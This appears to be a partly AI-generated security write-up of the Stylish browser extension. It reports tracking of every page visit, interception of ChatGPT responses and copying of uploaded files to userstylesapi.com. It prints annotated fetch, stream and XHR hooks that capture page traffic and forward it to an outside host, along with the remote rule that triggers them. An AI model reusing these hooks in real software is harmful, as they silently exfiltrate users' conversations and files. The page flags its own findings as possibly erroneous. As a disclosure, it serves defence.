Is Stylish - Custom themes for any website safe?

Critical risk

Stylish fetches targeting rules from its own servers and routes encrypted browsing data to them on every page visit.

Every navigation triggers an RSA-encrypted request containing the page URL and a device identifier sent to userstylesapi.com — confirmed by dynamic analysis. Code analysis indicates the extension also downloads 31 obfuscated targeting rules from userstylesapi.com every six hours, which control which sites and APIs to intercept. The same code suggests a global fetch hook intercepts ChatGPT conversations and forwards them to the same domain, though that behavior has not been directly verified.

userstyles.orgv3.4.18Chrome Web Store
100Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityCRITICAL
ClassUNWANTED
TypeUnexpected
CWECWE-200
SourceAI SANDBOX

Fetch and XHR Responses Intercepted on AI Sites Without Consent

Stylish replaces fetch and XMLHttpRequest on pages matching a server list.

There, every matching response is read and forwarded to the service worker invisibly.

For streaming AI, it accumulates chunks, sends full text at stream end.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You visit a page that matches a rule in Stylish's server-delivered config, such as chatgpt.com.

The extension did this

Stylish replaces window.fetch with its own version, then reads and copies every matching network response on that page without prompting you.

The interception happens inside your browser process, no extra network request is visible until the data is forwarded to the service worker.

02EvidenceCODE COMPARE
The code that does this

The fetch replacement, the shipped code and what it actually does.

What it actually does
window.fetch replacement (annotated)
// Replaces window.fetch with an intercepting version.
// Only activates if localStorage['interpolation'] === ACTIVATION_KEY.
// For each fetch call:
//   1. Check if current page URL matches any rule's page_url_match regex.
//   2. Check if request URL matches the rule's request_url_match regex.
//   3. If both match, read the response AND let the original proceed.
window.fetch = function interceptedFetch(input, init) {
  const originalFetch = nativeFetch; // saved reference to real fetch

  // Pass through if no rules loaded yet, or page/request URL doesn't match
  if (!rules.length) return originalFetch(input, init);
  if (!rules.find(r => new RegExp(r.page_url_match).test(location.href)))
    return originalFetch(input, init);
  const requestUrl = typeof input === 'string' ? input : input.url || input;
  if (!rules.find(r => new RegExp(r.request_url_match).test(requestUrl)))
    return originalFetch(input, init);

  // For streaming requests (ReadableStream body), tee the stream:
  // one copy goes to the server, one copy is read by the hook.
  if (input instanceof Request && input.body instanceof ReadableStream) {
    const [stream1, stream2] = input.body.tee();
    // stream1 -> original request (page is unaffected)
    // stream2 -> read by hook below
    metadata = { hasForkStream: true, forkStream: stream2, ... };
  }

  // Make the real request, return it to the page
  const realResponse = originalFetch.apply(this, interceptedArgs);
  readAndForward(interceptedArgs, realResponse); // <- this is the intercept
  return realResponse; // page gets normal response
}
Streaming response accumulator (SSE/chunked)
// For streaming responses (Content-Type includes 'stream' — SSE from ChatGPT/Gemini):
// Read each chunk as it arrives, accumulate into a buffer.
// Fire 'antifork' CustomEvent every 5 seconds (timeout flush) AND when stream ends.
async function readStreamingResponse(responseBody, metadata) {
  const reader = responseBody.getReader();
  const decoder = new TextDecoder('utf-8');
  const state = { buffer: '' };

  function flush(reason) {
    // 'reason' is 'done', 'timeout', or 'stream-end-unexpected'
    const event = new CustomEvent('antifork', {
      detail: { ...metadata, message: state.buffer, reason }
    });
    state.buffer = '';
    self.dispatchEvent(event); // contentDE.js receives this
  }

  // Timeout flush every 5 seconds to prevent data loss if stream hangs
  const timer = setInterval(() => flush('timeout'), 5000);
  try {
    for (let chunk = await reader.read(); !chunk.done; chunk = await reader.read())
      state.buffer += decoder.decode(chunk.value, { stream: true });
    flush('done'); // final flush with complete response
  } catch (e) {
    flush('stream-end-unexpected');
  } finally {
    clearInterval(timer);
  }
}
03EvidenceSTORAGE DUMP
What's stored on your device

Undocumented localStorage codes are a handshake between rule-setting scripts and hook code; if absent, contentInt.js exits doing nothing.

LocationlocalStorage key 'extrapolation' (XHR activation) and 'interpolation' (fetch activation), set per-tab by contentDE.js
Contents
extrapolation = "qj1c5c26605l149d4g4g12ab7m78465n165b3a802e2h722n145c8c3g1j71"
interpolation = "kd1c5f2b528ba81e1e9n366e348ha5391m26ac4b4n5h70926h4n3m9j8d2m"
04EvidenceTHIRD PARTY LIST
Where intercepted data ends up:
  • userstylesapi.com

    Receives intercepted fetch/XHR bodies via the service worker, RSA-encrypted before POSTing. Owned by SimilarWeb.

  • fs.userstylesapi.com

    Receives intercepted files: anything attached to a ChatGPT or Claude conversation, via the gpt_con_fork_upload rule's fork_to_host.

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

URL Exfiltration: Navigation Tracking Without Disclosure

Every navigation, Stylish sends the URL, previous URL, a device ID, and transition metadata to userstylesapi.com, encrypted with a hardcoded RSA key first so it can't be inspected in transit.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You visit any web page, any site, anywhere.

The extension did this

Stylish records the visit without a consent prompt and sends the URL, where you came from, and your device ID to its own servers.

No user action or stylesheet installation required. Works on every site, not just ones you've styled.

02EvidenceFIELD TABLE
What Stylish sends on every page you visit:
FieldValueWhy it matters
The URL you are visiting
https://news.ycombinator.com/item?id=39123891The exact page you are on, including any tracking parameters in the URL.
The URL you came from
https://news.ycombinator.com/Where you were browsing before this page, builds a chain of your activity.
Your device ID
9f3a-7e21-beef-cafe42A permanent identifier unique to your install of Stylish. Lets them tie every visit back to you forever.
The tab that opened this one
https://www.google.com/search?q=hacker+newsIf you clicked a link to open a new tab, this records where you started.
How you got here
linkWhether you clicked a link, typed the URL, or used a bookmark. Reveals your browsing patterns.
Stylish version
3.4.10Which version of the extension you have installed.
Partner ID
a3e3e2a81Hardcoded value identifying this client app to the server. Same for all users.
Timestamp
2026-04-14T14:12:09.122ZWhen the visit happened, to the millisecond.
03EvidenceOPAQUE REVEAL
Why you can't catch this in DevTools

On the wire, the request body looks like meaningless garbage; you cannot inspect it in your browser's DevTools. After decryption with the server's private key, it reveals exactly what you visited.

What's actually being sent
{
  "gp": "https://news.ycombinator.com/item?id=39123891",
  "klm": "https://news.ycombinator.com/",
  "pxe": "9f3a-7e21-beef-cafe42",
  "knl": "https://www.google.com/search?q=hacker+news",
  "trp": "link",
  "gr": "3.4.10",
  "di": "a3e3e2a81",
  "st": 1744640329122,
  "ver": 1,
  "dig": [
    "tab-82374"
  ]
}
04EvidenceCODE COMPARE
The code that does this

The code that does this, from the extension's shipping source.

What it actually does
The navigation listener
// Runs every time a tab finishes loading any page.
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
  if (changeInfo.status === 'complete') {
    TabTracker.setUpResult(tabId, tab);   // stores URL + transition type
    TabTracker.TrackCurrent(tabId, tab);  // fires payload assembly + POST
  }
});
The payload assembler
// Builds the exact object shown in the decoded view above.
function assemblePayload(tabId, tab, transitionType) {
  return {
    di:  'a3e3e2a81',                            // hardcoded partner ID
    gp:  tab.url,                                  // current page URL
    klm: TabState.getPrevUrl(tabId),               // previous URL on this tab
    ver: TabState.getCounter(tabId),               // per-tab counter
    trp: transitionType,                           // 'link' | 'typed' | 'bookmark'
    knl: TabState.getOpenerRef(tabId),             // opener tab URL
    dig: [tabId],
    gr:  chrome.runtime.getManifest().version,
    pxe: Settings.instance.appUniqueId             // persistent device UUID
  };
}
05EvidenceTHIRD PARTY LIST
Where your browsing data ends up:
  • userstylesapi.com

    Primary server receiving every navigation event. Owned by SimilarWeb (Stylish's parent company as of 2016).

06EvidenceARTIFACT
Reproduce it yourself

Run this in Chrome DevTools on any page with Stylish active. It hooks the extension's RSA encrypt() function and logs the plaintext JSON payload to the console before encryption, so you can see exactly what's being sent without needing the server's private key.

RequiresChrome with Developer mode enabled
stylish-payload-inspector.js · js
// stylish-payload-inspector.js
// Hooks the RSA encrypt() call in Stylish's service worker and logs
// the plaintext before encryption. Makes opaque outbound traffic visible.

(function() {
  const origImportKey = crypto.subtle.importKey.bind(crypto.subtle);
  crypto.subtle.importKey = async function(format, keyData, algorithm, extractable, keyUsages) {
    const key = await origImportKey(format, keyData, algorithm, extractable, keyUsages);
    // If this is the RSA-OAEP key used by Stylish, wrap encrypt() to log plaintext
    if (algorithm?.name === 'RSA-OAEP' && keyUsages?.includes('encrypt')) {
      console.log('[STYLISH_PAYLOAD] RSA public key imported, instrumenting encrypt()');
      const origEncrypt = crypto.subtle.encrypt.bind(crypto.subtle);
      crypto.subtle.encrypt = async function(alg, k, data) {
        if (k === key) {
          try {
            const plaintext = new TextDecoder().decode(data);
            console.log('[STYLISH_PAYLOAD] plaintext before encryption:', plaintext);
          } catch {}
        }
        return origEncrypt(alg, k, data);
      };
    }
    return key;
  };
  console.log('[STYLISH_PAYLOAD_INSPECTOR] installed. Navigate to any page to see captured payloads.');
})();
How to run it
  1. 1
    Install Stylish.
  2. 2
    Open chrome://extensions, enable Developer mode, click the service worker link for Stylish.
  3. 3
    Paste this script into the DevTools console.
  4. 4
    Navigate to any page and watch console for [STYLISH_PAYLOAD] entries.
SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-200
SourceAI SANDBOX

Files You Upload to ChatGPT Are Copied to a Third-Party Server Without Notice

Uploading a file to ChatGPT, Stylish sends an identical copy to fs.userstylesapi.com.

The original still reaches OpenAI, but a duplicate diverts to Stylish, no prompt.

The rule is remote, changeable, covering any file type.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You upload any file to ChatGPT, a document, image, spreadsheet, or code file.

The extension did this

Stylish creates a copy of your file in memory and dispatches it to the service worker, which uploads it to fs.userstylesapi.com.

ChatGPT receives the file normally; you see no error or delay.

02EvidenceFIELD TABLE
What is copied from every ChatGPT file upload:
FieldValueWhy it matters
Full file contents
report_Q1_2026_financials.xlsx (23KB)The complete binary or text content of whatever you uploaded.
Original upload URL
https://files2.oaiusercontent.com/file-8bKcXp4rNqWz9uTyWhich OpenAI storage endpoint the file was sent to, encodes file ID and storage region.
File name
medical_records_2025.pdfThe original filename as you had it on your device.
MIME type
application/pdfThe file format, reveals what kind of data you are sharing with ChatGPT.
03EvidenceCODE COMPARE
The code that does this

The hook that intercepts file uploads (contentInt.js):

What it actually does
// Runs 1 second after an XHR.send() call.
// If the request carries a File (i.e. a file upload) and the rule matched:
setTimeout(() => {
  if (this["antifork+"] && arguments[0] instanceof File) {
    const fileName = arguments[0].name;
    const fileType = arguments[0].type;
    const blobUrl  = URL.createObjectURL(arguments[0]); // wrap file in memory blob URL
    self.dispatchEvent(new CustomEvent("antifork-fk", {
      detail: {
        way:  "xhr",
        ab:   blobUrl,          // blob URL pointing to the file data
        url:  this.unsafeHeaders, // original upload destination (oaiusercontent.com)
        name: fileName,
        type: fileType,
        fth:  this["fork_to_host"],  // = "fs.userstylesapi.com"
        c:    this[rule_object]       // the matching rule
      }
    }));
  }
}, 1000);
04EvidenceCODE COMPARE
The code that does this

The remote config rule that activates this (rule 27, decoded from userstylesapi.com/content/config):

What it actually does
{
  "configTarget": "content_request_fork_and_proxy",
  "type": "gpt_con_fork_upload",
  "page_url_match": "https:\/\/chat(gpt)?.com.*",
  "request_url_match": "https:\/\/files\\d{0,2}\\.oaiusercontent\\.com\/file-.*|https:\/\/sdmntpr\\w+\\.oaiusercontent\\.com\/files\/",
  "fork_to_host": "fs.userstylesapi.com"
}
05EvidenceTHIRD PARTY LIST
Where your files end up:
  • fs.userstylesapi.com

    File storage subdomain receiving forked ChatGPT uploads. Part of the userstylesapi.com infrastructure operated by SimilarWeb, Stylish's parent company.

  • files2.oaiusercontent.com

    OpenAI's legitimate file storage (original destination). The file also reaches OpenAI normally; the fork is additive.

Data recipients

userstylesapi.comfs.userstylesapi.com

Our write-ups

Updated 17 September 2026fjnbnpbmkenffdnngjfgmeleoegfcffe